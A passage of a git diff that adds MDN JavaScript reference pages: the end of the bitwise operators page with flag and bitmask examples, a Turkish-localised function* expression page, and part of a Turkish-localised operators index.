+<pre>. 9 (base 10) = 00000000000000000000000000001001 (base 2) + 14 (base 10) = 00000000000000000000000000001110 (base 2) + -------------------------------- +14 | 9 (base 10) = 00000000000000000000000000001111 (base 2) = 15 (base 10) +</pre> + +<p>Bitwise ORing any number x with 0 yields x. Bitwise ORing any number x with -1 yields -1.</p> + +<h3 id="(Bitwise_XOR)"><a name="Bitwise_XOR">^ (Bitwise XOR)</a></h3> + +<p>Performs the XOR operation on each pair of bits. <code>a</code> XOR <code>b</code> yields 1 if <code>a</code> and <code>b</code> are different. The truth table for the XOR operation is:</p> + +<table class="standard-table"> + <tbody> + <tr> + <td class="header">a</td> + <td class="header">b</td> + <td class="header">a XOR b</td> + </tr> + <tr> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>0</td> + <td>1</td> + <td>1</td> + </tr> + <tr> + <td>1</td> + <td>0</td> + <td>1</td> + </tr> + <tr> + <td>1</td> + <td>1</td> + <td>0</td> + </tr> + </tbody> +</table> + +<pre>. 9 (base 10) = 00000000000000000000000000001001 (base 2) + 14 (base 10) = 00000000000000000000000000001110 (base 2) + -------------------------------- +14 ^ 9 (base 10) = 00000000000000000000000000000111 (base 2) = 7 (base 10) +</pre> + +<p>Bitwise XORing any number x with 0 yields x. Bitwise XORing any number x with -1 yields ~x.</p> + +<h3 id="(Bitwise_NOT)"><a name="Bitwise_NOT">~ (Bitwise NOT)</a></h3> + +<p>Performs the NOT operator on each bit. NOT <code>a</code> yields the inverted value (a.k.a. one's complement) of <code>a</code>. The truth table for the NOT operation is:</p> + +<table class="standard-table"> + <tbody> + <tr> + <td class="header">a</td> + <td class="header">NOT a</td> + </tr> + <tr> + <td>0</td> + <td>1</td> + </tr> + <tr> + <td>1</td> + <td>0</td> + </tr> + </tbody> +</table> + +<pre> 9 (base 10) = 00000000000000000000000000001001 (base 2) + -------------------------------- +~9 (base 10) = 11111111111111111111111111110110 (base 2) = -10 (base 10) +</pre> + +<p>Bitwise NOTing any number x yields -(x + 1). For example, ~-5 yields 4.</p> + +<p>Example with indexOf:</p> + +<pre class="brush: js">var str = 'rawr'; +var searchFor = 'a'; + +// this is alternative way of typing if (-1*str.indexOf('a') <= 0) +if (~str.indexOf(searchFor)) { + // searchFor is in the string +} else { + // searchFor is not in the string +} + +// here are the values returned by (~str.indexOf(searchFor)) +// r == -1 +// a == -2 +// w == -3 +</pre> + +<h2 id="Bitwise_shift_operators">Bitwise shift operators</h2> + +<p>The bitwise shift operators take two operands: the first is a quantity to be shifted, and the second specifies the number of bit positions by which the first operand is to be shifted. The direction of the shift operation is controlled by the operator used.</p> + +<p>Shift operators convert their operands to 32-bit integers in big-endian order and return a result of the same type as the left operand. The right operand should be less than 32, but if not only the low five bits will be used.</p> + +<h3 id="<<_(Left_shift)"><a name="Left_shift"><< (Left shift)</a></h3> + +<p>This operator shifts the first operand the specified number of bits to the left. Excess bits shifted off to the left are discarded. Zero bits are shifted in from the right.</p> + +<p>For example, <code>9 << 2</code> yields 36:</p> + +<pre>. 9 (base 10): 00000000000000000000000000001001 (base 2) + -------------------------------- +9 << 2 (base 10): 00000000000000000000000000100100 (base 2) = 36 (base 10) +</pre> + +<p>Bitwise shifting any number <strong>x</strong> to the left by <strong>y</strong> bits yields <strong>x * 2^y</strong>.</p> + +<h3 id=">>_(Sign-propagating_right_shift)"><a name="Right_shift">>> (Sign-propagating right shift)</a></h3> + +<p>This operator shifts the first operand the specified number of bits to the right. Excess bits shifted off to the right are discarded. Copies of the leftmost bit are shifted in from the left. Since the new leftmost bit has the same value as the previous leftmost bit, the sign bit (the leftmost bit) does not change. Hence the name "sign-propagating".</p> + +<p>For example, <code>9 >> 2</code> yields 2:</p> + +<pre>. 9 (base 10): 00000000000000000000000000001001 (base 2) + -------------------------------- +9 >> 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10) +</pre> + +<p>Likewise, <code>-9 >> 2</code> yields -3, because the sign is preserved:</p> + +<pre>. -9 (base 10): 11111111111111111111111111110111 (base 2) + -------------------------------- +-9 >> 2 (base 10): 11111111111111111111111111111101 (base 2) = -3 (base 10) +</pre> + +<h3 id=">>>_(Zero-fill_right_shift)"><a name="Unsigned_right_shift">>>> (Zero-fill right shift)</a></h3> + +<p>This operator shifts the first operand the specified number of bits to the right. Excess bits shifted off to the right are discarded. Zero bits are shifted in from the left. The sign bit becomes 0, so the result is always non-negative.</p> + +<p>For non-negative numbers, zero-fill right shift and sign-propagating right shift yield the same result. For example, <code>9 >>> 2</code> yields 2, the same as <code>9 >> 2</code>:</p> + +<pre>. 9 (base 10): 00000000000000000000000000001001 (base 2) + -------------------------------- +9 >>> 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10) +</pre> + +<p>However, this is not the case for negative numbers. For example, <code>-9 >>> 2</code> yields 1073741821, which is different than <code>-9 >> 2</code> (which yields -3):</p> + +<pre>. -9 (base 10): 11111111111111111111111111110111 (base 2) + -------------------------------- +-9 >>> 2 (base 10): 00111111111111111111111111111101 (base 2) = 1073741821 (base 10) +</pre> + +<h2 id="Examples">Examples</h2> + +<h3 id="Flags_and_bitmasks">Flags and bitmasks</h3> + +<p>The bitwise logical operators are often used to create, manipulate, and read sequences of <em>flags</em>, which are like binary variables. Variables could be used instead of these sequences, but binary flags take much less memory (by a factor of 32).</p> + +<p>Suppose there are 4 flags:</p> + +<ul> + <li>flag A: we have an ant problem</li> + <li>flag B: we own a bat</li> + <li>flag C: we own a cat</li> + <li>flag D: we own a duck</li> +</ul> + +<p>These flags are represented by a sequence of bits: DCBA. When a flag is <em>set</em>, it has a value of 1. When a flag is <em>cleared</em>, it has a value of 0. Suppose a variable <code>flags</code> has the binary value 0101:</p> + +<pre class="brush: js">var flags = 5; // binary 0101 +</pre> + +<p>This value indicates:</p> + +<ul> + <li>flag A is true (we have an ant problem);</li> + <li>flag B is false (we don't own a bat);</li> + <li>flag C is true (we own a cat);</li> + <li>flag D is false (we don't own a duck);</li> +</ul> + +<p>Since bitwise operators are 32-bit, 0101 is actually 00000000000000000000000000000101, but the preceding zeroes can be neglected since they contain no meaningful information.</p> + +<p>A <em>bitmask</em> is a sequence of bits that can manipulate and/or read flags. Typically, a "primitive" bitmask for each flag is defined:</p> + +<pre class="brush: js">var FLAG_A = 1; // 0001 +var FLAG_B = 2; // 0010 +var FLAG_C = 4; // 0100 +var FLAG_D = 8; // 1000 +</pre> + +<p>New bitmasks can be created by using the bitwise logical operators on these primitive bitmasks. For example, the bitmask 1011 can be created by ORing FLAG_A, FLAG_B, and FLAG_D:</p> + +<pre class="brush: js">var mask = FLAG_A | FLAG_B | FLAG_D; // 0001 | 0010 | 1000 => 1011 +</pre> + +<p>Individual flag values can be extracted by ANDing them with a bitmask, where each bit with the value of one will "extract" the corresponding flag. The bitmask <em>masks</em> out the non-relevant flags by ANDing with zeroes (hence the term "bitmask"). For example, the bitmask 0100 can be used to see if flag C is set:</p> + +<pre class="brush: js">// if we own a cat +if (flags & FLAG_C) { // 0101 & 0100 => 0100 => true + // do stuff +} +</pre> + +<p>A bitmask with multiple set flags acts like an "either/or". For example, the following two are equivalent:</p> + +<pre class="brush: js">// if we own a bat or we own a cat +// (0101 & 0010) || (0101 & 0100) => 0000 || 0100 => true +if ((flags & FLAG_B) || (flags & FLAG_C)) { + // do stuff +} +</pre> + +<pre class="brush: js">// if we own a bat or cat +var mask = FLAG_B | FLAG_C; // 0010 | 0100 => 0110 +if (flags & mask) { // 0101 & 0110 => 0100 => true + // do stuff +} +</pre> + +<p>Flags can be set by ORing them with a bitmask, where each bit with the value one will set the corresponding flag, if that flag isn't already set. For example, the bitmask 1100 can be used to set flags C and D:</p> + +<pre class="brush: js">// yes, we own a cat and a duck +var mask = FLAG_C | FLAG_D; // 0100 | 1000 => 1100 +flags |= mask; // 0101 | 1100 => 1101 +</pre> + +<p>Flags can be cleared by ANDing them with a bitmask, where each bit with the value zero will clear the corresponding flag, if it isn't already cleared. This bitmask can be created by NOTing primitive bitmasks. For example, the bitmask 1010 can be used to clear flags A and C:</p> + +<pre class="brush: js">// no, we don't have an ant problem or own a cat +var mask = ~(FLAG_A | FLAG_C); // ~0101 => 1010 +flags &= mask; // 1101 & 1010 => 1000 +</pre> + +<p>The mask could also have been created with <code>~FLAG_A & ~FLAG_C</code> (De Morgan's law):</p> + +<pre class="brush: js">// no, we don't have an ant problem, and we don't own a cat +var mask = ~FLAG_A & ~FLAG_C; +flags &= mask; // 1101 & 1010 => 1000 +</pre> + +<p>Flags can be toggled by XORing them with a bitmask, where each bit with the value one will toggle the corresponding flag. For example, the bitmask 0110 can be used to toggle flags B and C:</p> + +<pre class="brush: js">// if we didn't have a bat, we have one now, +// and if we did have one, bye-bye bat +// same thing for cats +var mask = FLAG_B | FLAG_C; +flags = flags ^ mask; // 1100 ^ 0110 => 1010 +</pre> + +<p>Finally, the flags can all be flipped with the NOT operator:</p> + +<pre class="brush: js">// entering parallel universe... +flags = ~flags; // ~1010 => 0101 +</pre> + +<h3 id="Conversion_snippets">Conversion snippets</h3> + +<p>Convert a binary <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">String</a></code> to a decimal <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">Number</a></code>:</p> + +<pre class="brush: js">var sBinString = '1011'; +var nMyNumber = parseInt(sBinString, 2); +alert(nMyNumber); // prints 11, i.e. 1011 +</pre> + +<p>Convert a decimal <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">Number</a></code> to a binary <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">String</a></code>:</p> + +<pre class="brush: js">var nMyNumber = 11; +var sBinString = nMyNumber.toString(2); +alert(sBinString); // prints 1011, i.e. 11 +</pre> + +<h3 id="Automate_Mask_Creation">Automate Mask Creation</h3> + +<p>You can create multiple masks from a set of <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">Boolean</a></code> values, like this:</p> + +<pre class="brush: js">function createMask() { + var nMask = 0, nFlag = 0, nLen = arguments.length > 32 ? 32 : arguments.length; + for (nFlag; nFlag < nLen; nMask |= arguments[nFlag] << nFlag++); + return nMask; +} +var mask1 = createMask(true, true, false, true); // 11, i.e.: 1011 +var mask2 = createMask(false, false, true); // 4, i.e.: 0100 +var mask3 = createMask(true); // 1, i.e.: 0001 +// etc. + +alert(mask1); // prints 11, i.e.: 1011 +</pre> + +<h3 id="Reverse_algorithm_an_array_of_booleans_from_a_mask">Reverse algorithm: an array of booleans from a mask</h3> + +<p>If you want to create an <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> of <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">Booleans</a></code> from a mask you can use this code:</p> + +<pre class="brush: js">function arrayFromMask(nMask) { + // nMask must be between -2147483648 and 2147483647 + if (nMask > 0x7fffffff || nMask < -0x80000000) { + throw new TypeError('arrayFromMask - out of range'); + } + for (var nShifted = nMask, aFromMask = []; nShifted; + aFromMask.push(Boolean(nShifted & 1)), nShifted >>>= 1); + return aFromMask; +} + +var array1 = arrayFromMask(11); +var array2 = arrayFromMask(4); +var array3 = arrayFromMask(1); + +alert('[' + array1.join(', ') + ']'); +// prints "[true, true, false, true]", i.e.: 11, i.e.: 1011 +</pre> + +<p>You can test both algorithms at the same time…</p> + +<pre class="brush: js">var nTest = 19; // our custom mask +var nResult = createMask.apply(this, arrayFromMask(nTest)); + +alert(nResult); // 19 +</pre> + +<p>For didactic purpose only (since there is the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toString" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number/toString">Number.toString(2)</a></code> method), we show how it is possible to modify the <code>arrayFromMask</code> algorithm in order to create a <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">String</a></code> containing the binary representation of a <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">Number</a></code>, rather than an <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> of <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">Booleans</a></code>:</p> + +<pre class="brush: js">function createBinaryString(nMask) { + // nMask must be between -2147483648 and 2147483647 + for (var nFlag = 0, nShifted = nMask, sMask = ''; nFlag < 32; + nFlag++, sMask += String(nShifted >>> 31), nShifted <<= 1); + return sMask; +} + +var string1 = createBinaryString(11); +var string2 = createBinaryString(4); +var string3 = createBinaryString(1); + +alert(string1); +// prints 00000000000000000000000000001011, i.e. 11 +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-11.7')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Defined in several sections of the specification: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4.8">Bitwise NOT operator</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.7">Bitwise shift operators</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.10">Binary bitwise operators</a></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-bitwise-shift-operators')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Defined in several sections of the specification: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-bitwise-not-operator">Bitwise NOT operator</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-bitwise-shift-operators">Bitwise shift operators</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-binary-bitwise-operators">Binary bitwise operators</a></td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-bitwise-shift-operators')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td>Defined in several sections of the specification: <a href="http://tc39.github.io/ecma262/#sec-bitwise-not-operator">Bitwise NOT operator</a>, <a href="http://tc39.github.io/ecma262/#sec-bitwise-shift-operators">Bitwise shift operators</a>, <a href="http://tc39.github.io/ecma262/#sec-binary-bitwise-operators">Binary bitwise operators</a></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("javascript.operators.bitwise")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators">Logical operators</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/operatörler/function_star_/index.html b/files/tr/web/javascript/reference/operatörler/function_star_/index.html new file mode 100644 index 0000000000..193e00f205 --- /dev/null +++ b/files/tr/web/javascript/reference/operatörler/function_star_/index.html @@ -0,0 +1,84 @@ +--- +title: function* expression +slug: Web/JavaScript/Reference/Operatörler/function* +translation_of: Web/JavaScript/Reference/Operators/function* +--- +<div>{{jsSidebar("Operators")}}</div> + +<p>The <strong><code>function*</code></strong> keyword can be used to define a generator function inside an expression.</p> + +<div>{{EmbedInteractiveExample("pages/js/expressions-functionasteriskexpression.html")}}</div> + + + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">function* [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) { + <em>statements</em> +}</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>name</code></dt> + <dd>The function name. Can be omitted, in which case the function is <em>anonymous</em>. The name is only local to the function body.</dd> + <dt><code>paramN</code></dt> + <dd>Argüman adıdır, bir fonksiyon maxiumum 255 argüman alır.</dd> + <dt><code>statements</code></dt> + <dd>Fonksiyon kodları.</dd> +</dl> + +<h2 id="Açıklama">Açıklama</h2> + +<p>A <code>function*</code> expression is very similar to and has almost the same syntax as a {{jsxref('Statements/function*', 'function* statement')}}. The main difference between a <code>function*</code> expression and a <code>function*</code> statement is the <em>function name,</em> which can be omitted in <code>function*</code> expressions to create <em>anonymous</em> generator functions. See also the chapter about <a href="/en-US/docs/Web/JavaScript/Reference/Functions">functions</a> for more information.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<p>Aşağıdaki adlandırılmamış fonksiyondur ve gelen değer karesini verir.</p> + +<pre class="brush: js">var x = function*(y) { + yield y * y; +}; +</pre> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#', 'function*')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#', 'function*')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + + + +<p>{{Compat("javascript.operators.function_star")}}</p> + +<h2 id="Bakabilirsiniz">Bakabilirsiniz</h2> + +<ul> + <li>{{jsxref("Statements/function*", "function* statement")}}</li> + <li>{{jsxref("GeneratorFunction")}} object</li> + <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li> + <li>{{jsxref("Operators/yield", "yield")}}</li> + <li>{{jsxref("Operators/yield*", "yield*")}}</li> + <li>{{jsxref("Function")}} object</li> + <li>{{jsxref("Statements/function", "function statement")}}</li> + <li>{{jsxref("Operators/function", "function expression")}}</li> + <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/operatörler/index.html b/files/tr/web/javascript/reference/operatörler/index.html new file mode 100644 index 0000000000..f42305b092 --- /dev/null +++ b/files/tr/web/javascript/reference/operatörler/index.html @@ -0,0 +1,277 @@ +--- +title: İfadeler ve operatörler +slug: Web/JavaScript/Reference/Operatörler +translation_of: Web/JavaScript/Reference/Operators +--- +<div>{{jsSidebar("Operators")}}</div> + +<p>Bu döküman bütün JavaScript ifadelerini,operatörlerini ve anahtar kelimeleri içerir.</p> + +<h2 id="Expressions_and_operators_by_category">Expressions and operators by category</h2> + +<p>For an alphabetical listing see the sidebar on the left.</p> + +<h3 id="Birincil_İfadeler">Birincil İfadeler</h3> + +<p>Genel İfadeler ve basit anahtar kelimeler.</p> + +<dl> + <dt>{{jsxref("Operators/this", "this")}}</dt> + <dd>The <code>this</code> keyword refers to the function's execution context.</dd> + <dt>{{jsxref("Operators/function", "function")}}</dt> + <dd>The <code>function</code> keyword defines a function expression.</dd> + <dt>{{experimental_inline}} {{jsxref("Operators/class", "class")}}</dt> + <dd>The <code>class</code> keyword defines a class expression.</dd> + <dt>{{experimental_inline}} {{jsxref("Operators/function*", "function*")}}</dt> + <dd>The <code>function*</code> keyword defines a generator function expression.</dd> + <dt>{{experimental_inline}} {{jsxref("Operators/yield", "yield")}}</dt> + <dd>Pause and resume a generator function</dd> + <dt>{{experimental_inline}} {{jsxref("Operators/yield*", "yield*")}}</dt> + <dd>Delegate to another generator function or iterable object.</dd> + <dt>{{jsxref("Global_Objects/Array", "[]")}}</dt> + <dd>Array initializer/literal syntax.</dd> + <dt>{{jsxref("Operators/Object_initializer", "{}")}}</dt> + <dd>Object initializer/literal syntax.</dd> + <dt>{{jsxref("Global_Objects/RegExp", "/ab+c/i")}}</dt> + <dd>Regular expression literal syntax.</dd> + <dt>{{experimental_inline}} {{jsxref("Operators/Array_comprehensions", "[for (x of y) x]")}}</dt> + <dd>Array comprehensions.</dd> + <dt>{{experimental_inline}} {{jsxref("Operators/Generator_comprehensions", "(for (x of y) y)")}}</dt> + <dd>Generator comprehensions.</dd> + <dt>{{jsxref("Operators/Grouping", "( )")}}</dt> + <dd>Grouping operator.</dd> +</dl> + +<h3 id="Left-hand-side_expressions">Left-hand-side expressions</h3> + +<p>Left values are the destination of an assignment.</p> + +<dl> + <dt>{{jsxref("Operators/Property_accessors", "Property accessors", "", 1)}}</dt> + <dd>Member operators provide access to a property or method of an object<br> + (<code>object.property</code> and <code>object["property"]</code>).</dd> + <dt>{{jsxref("Operators/new", "new")}}</dt> + <dd>The <code>new</code> operator creates an instance of a constructor.</dd> + <dt>{{experimental_inline}} {{jsxref("Operators/super", "super")}}</dt> + <dd>The <code>super</code> keyword calls the parent constructor.</dd> + <dt>{{experimental_inline}} {{jsxref("Operators/Spread_operator", "...obj")}}</dt> + <dd>The spread operator allows an expression to be expanded in places where multiple arguments (for function calls) or multiple elements (for array literals) are expected.</dd> +</dl> + +<h3 id="Increment_and_decrement">Increment and decrement</h3> + +<p>Postfix/prefix increment and postfix/prefix decrement operators.</p> + +<dl> + <dt>{{jsxref("Operators/Arithmetic_Operators", "A++", "#Increment")}}</dt> + <dd>Postfix increment operator.</dd> + <dt>{{jsxref("Operators/Arithmetic_Operators", "A--", "#Decrement")}}</dt> + <dd>Postfix decrement operator.</dd> + <dt>{{jsxref("Operators/Arithmetic_Operators", "++A", "#Increment")}}</dt> + <dd>Prefix increment operator.</dd> + <dt>{{jsxref("Operators/Arithmetic_Operators", "--A", "#Decrement")}}</dt> + <dd>Prefix decrement operator.</dd> +</dl> + +<h3 id="Unary_operators">Unary operators</h3> + +<p>A unary operation is operation with only one operand.</p> + +<dl> + <dt>{{jsxref("Operators/delete", "delete")}}</dt> + <dd>The <code>delete</code> operator deletes a property from an object.</dd> + <dt>{{jsxref("Operators/void", "void")}}</dt> + <dd>The <code>void</code> operator discards an expression's return value.</dd> + <dt>{{jsxref("Operators/typeof", "typeof")}}</dt> + <dd>The <code>typeof</code> operator determines the type of a given object.</dd> + <dt>{{jsxref("Operators/Arithmetic_Operators", "+", "#Unary_plus")}}</dt> + <dd>The unary plus operator converts its operand to Number type.</dd> + <dt>{{jsxref("Operators/Arithmetic_Operators", "-", "#Unary_negation")}}</dt> + <dd>The unary negation operator converts its operand to Number type and then negates it.</dd> + <dt>{{jsxref("Operators/Bitwise_Operators", "~", "#Bitwise_NOT")}}</dt> + <dd>Bitwise NOT operator.</dd> + <dt>{{jsxref("Operators/Logical_Operators", "!", "#Logical_NOT")}}</dt> + <dd>Logical NOT operator.</dd> +</dl> + +<h3 id="Arithmetic_operators">Arithmetic operators</h3> + +<p>Arithmetic operators take numerical values (either literals or variables) as their operands and return a single numerical value.</p> + +<dl> + <dt>{{jsxref("Operators/Arithmetic_Operators", "+", "#Addition")}}</dt> + <dd>Addition operator.</dd> + <dt>{{jsxref("Operators/Arithmetic_Operators", "-", "#Subtraction")}}</dt> + <dd>Subtraction operator.</dd> + <dt>{{jsxref("Operators/Arithmetic_Operators", "/", "#Division")}}</dt> + <dd>Division operator.</dd> + <dt>{{jsxref("Operators/Arithmetic_Operators", "*", "#Multiplication")}}</dt> + <dd>Multiplication operator.</dd> + <dt>{{jsxref("Operators/Arithmetic_Operators", "%", "#Remainder")}}</dt> + <dd>Remainder operator.</dd> +</dl> + +<h3 id="Relational_operators">Relational operators</h3> + +<p>A comparison operator compares its operands and returns a <code>Boolean</code> value based on whether the comparison is true.</p> + +<dl> + <dt>{{jsxref("Operators/in", "in")}}</dt> + <dd>The <code>in</code> operator determines whether an object has a given property.</dd> + <dt>{{jsxref("Operators/instanceof", "instanceof")}}</dt> + <dd>The <code>instanceof</code> operator determines whether an object is an instance of another object.</dd> + <dt>{{jsxref("Operators/Comparison_Operators", "<", "#Less_than_operator")}}</dt> + <dd>Less than operator.</dd> + <dt>{{jsxref("Operators/Comparison_Operators", ">", "#Greater_than_operator")}}</dt> + <dd>Greater than operator.</dd> + <dt>{{jsxref("Operators/Comparison_Operators", "<=", "#Less_than_or_equal_operator")}}</dt> + <dd>Less than or equal operator.</dd> + <dt>{{jsxref("Operators/Comparison_Operators", ">=", "#Greater_than_or_equal_operator")}}</dt> + <dd>Greater than or equal operator.</dd> +</dl> + +<h3 id="Equality_operators">Equality operators</h3> + +<p>The result of evaluating an equality operator is always of type <code>Boolean</code> based on whether the comparison is true.</p> + +<dl> + <dt>{{jsxref("Operators/Comparison_Operators", "==", "#Equality")}}</dt> + <dd>Equality operator.</dd> + <dt>{{jsxref("Operators/Comparison_Operators", "!=", "#Inequality")}}</dt> + <dd>Inequality operator.</dd> + <dt>{{jsxref("Operators/Comparison_Operators", "===", "#Identity")}}</dt> + <dd>Identity operator.</dd> + <dt>{{jsxref("Operators/Comparison_Operators", "!==", "#Nonidentity")}}</dt> + <dd>Nonidentity operator.</dd> +</dl> + +<h3 id="Bitwise_shift_operators">Bitwise shift operators</h3> + +<p>Operations to shift all bits of the operand.</p> + +<dl> + <dt>{{jsxref("Operators/Bitwise_Operators", "<<", "#Left_shift")}}</dt> + <dd>Bitwise left shift operator.</dd> + <dt>{{jsxref("Operators/Bitwise_Operators", ">>", "#Right_shift")}}</dt> + <dd>Bitwise right shift operator.</dd> + <dt>{{jsxref("Operators/Bitwise_Operators", ">>>", "#Unsigned_right_shift")}}</dt> + <dd>Bitwise unsigned right shift operator.</dd> +</dl> + +<h3 id="Binary_bitwise_operators">Binary bitwise operators</h3> + +<p>Bitwise operators treat their operands as a set of 32 bits (zeros and ones) and return standard JavaScript numerical values.</p> + +<dl> + <dt>{{jsxref("Operators/Bitwise_Operators", "&", "#Bitwise_AND")}}</dt> + <dd>Bitwise AND.</dd> + <dt>{{jsxref("Operators/Bitwise_Operators", "|", "#Bitwise_OR")}}</dt> + <dd>Bitwise OR.</dd> + <dt>{{jsxref("Operators/Bitwise_Operators", "^", "#Bitwise_XOR")}}</dt> + <dd>Bitwise XOR.</dd> +</dl> + +<h3 id="Binary_logical_operators">Binary logical operators</h3> + +<p>Logical operators are typically used with boolean (logical) values, and when they are, they return a boolean value.</p> + +<dl> + <dt>{{jsxref("Operators/Logical_Operators", "&&", "#Logical_AND")}}</dt> + <dd>Logical AND.</dd> + <dt>{{jsxref("Operators/Logical_Operators", "||", "#Logical_OR")}}</dt> + <dd>Logical OR.</dd> +</dl> + +<h3 id="Conditional_(ternary)_operator">Conditional (ternary) operator</h3> + +<dl> + <dt>{{jsxref("Operators/Conditional_Operator", "(condition ? ifTrue : ifFalse)")}}</dt> + <dd> + <p>The conditional operator returns one of two values based on the logical value of the condition.</p> + </dd> +</dl> + +<h3 id="Assignment_operators">Assignment operators</h3> + +<p>An assignment operator assigns a value to its left operand based on the value of its right operand.</p> + +<dl> + <dt>{{jsxref("Operators/Assignment_Operators", "=", "#Assignment")}}</dt> + <dd>Assignment operator.</dd> + <dt>{{jsxref("Operators/Assignment_Operators", "*=", "#Multiplication_assignment")}}</dt> + <dd>Multiplication assignment.</dd> + <dt>{{jsxref("Operators/Assignment_Operators", "/=", "#Division_assignment")}}</dt> + <dd>Division assignment.</dd> + <dt>{{jsxref("Operators/Assignment_Operators", "%=", "#Remainder_assignment")}}</dt> + <dd>Remainder assignment.</dd> + <dt>{{jsxref("Operators/Assignment_Operators", "+=", "#Addition_assignment")}}</dt> + <dd>Addition assignment.</dd> + <dt>{{jsxref("Operators/Assignment_Operators", "-=", "#Subtraction_assignment")}}</dt> + <dd>Subtraction assignment</dd> + <dt>{{jsxref("Operators/Assignment_Operators", "<<=", "#Left_shift_assignment")}}</dt> + <dd>Left shift assignment.</dd> + <dt>{{jsxref("Operators/Assignment_Operators", ">>=", "#Right_shift_assignment")}}</dt> + <dd>Right shift assignment.</dd> + <dt>{{jsxref("Operators/Assignment_Operators", ">>>=", "#Unsigned_right_shift_assignment")}}</dt> + <dd>Unsigned right shift assignment.</dd> + <dt>{{jsxref("Operators/Assignment_Operators", "&=", "#Bitwise_AND_assignment")}}</dt> + <dd>Bitwise AND assignment.</dd> + <dt>{{jsxref("Operators/Assignment_Operators", "^=", "#Bitwise_XOR_assignment")}}</dt> + <dd>Bitwise XOR assignment.</dd> + <dt>{{jsxref("Operators/Assignment_Operators", "|=", "#Bitwise_OR_assignment")}}</dt> + <dd>Bitwise OR assignment.</dd> + <dt>{{experimental_inline}} {{jsxref("Operators/Destructuring_assignment", "[a, b] = [1, 2]")}}<br> + {{experimental_inline}} {{jsxref("Operators/Destructuring_assignment", "{a, b} = {a:1, b:2}")}}</dt> + <dd> + <p>Destructuring assignment allows you to assign the properties of an array or object to variables using syntax that looks similar to array or object literals.</p> + </dd> +</dl> + +<h3 id="Comma_operator">Comma operator</h3> + +<dl> + <dt>{{jsxref("Operators/Comma_Operator", ",")}}</dt> + <dd>The comma operator allows multiple expressions to be evaluated in a single statement and returns the result of the last expression.</dd> +</dl> + +<h3 id="Non-standard_features">Non-standard features</h3> + +<dl> + <dt>{{non-standard_inline}} {{jsxref("Operators/Legacy_generator_function", "Legacy generator function", "", 1)}}</dt> + <dd>The <code>function</code> keyword can be used to define a legacy generator function inside an expression. To make the function a legacy generator, the function body should contains at least one {{jsxref("Operators/yield", "yield")}} expression.</dd> + <dt>{{non-standard_inline}} {{jsxref("Operators/Expression_closures", "Expression closures", "", 1)}}</dt> + <dd>The expression closure syntax is a shorthand for writing simple function.</dd> +</dl> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + 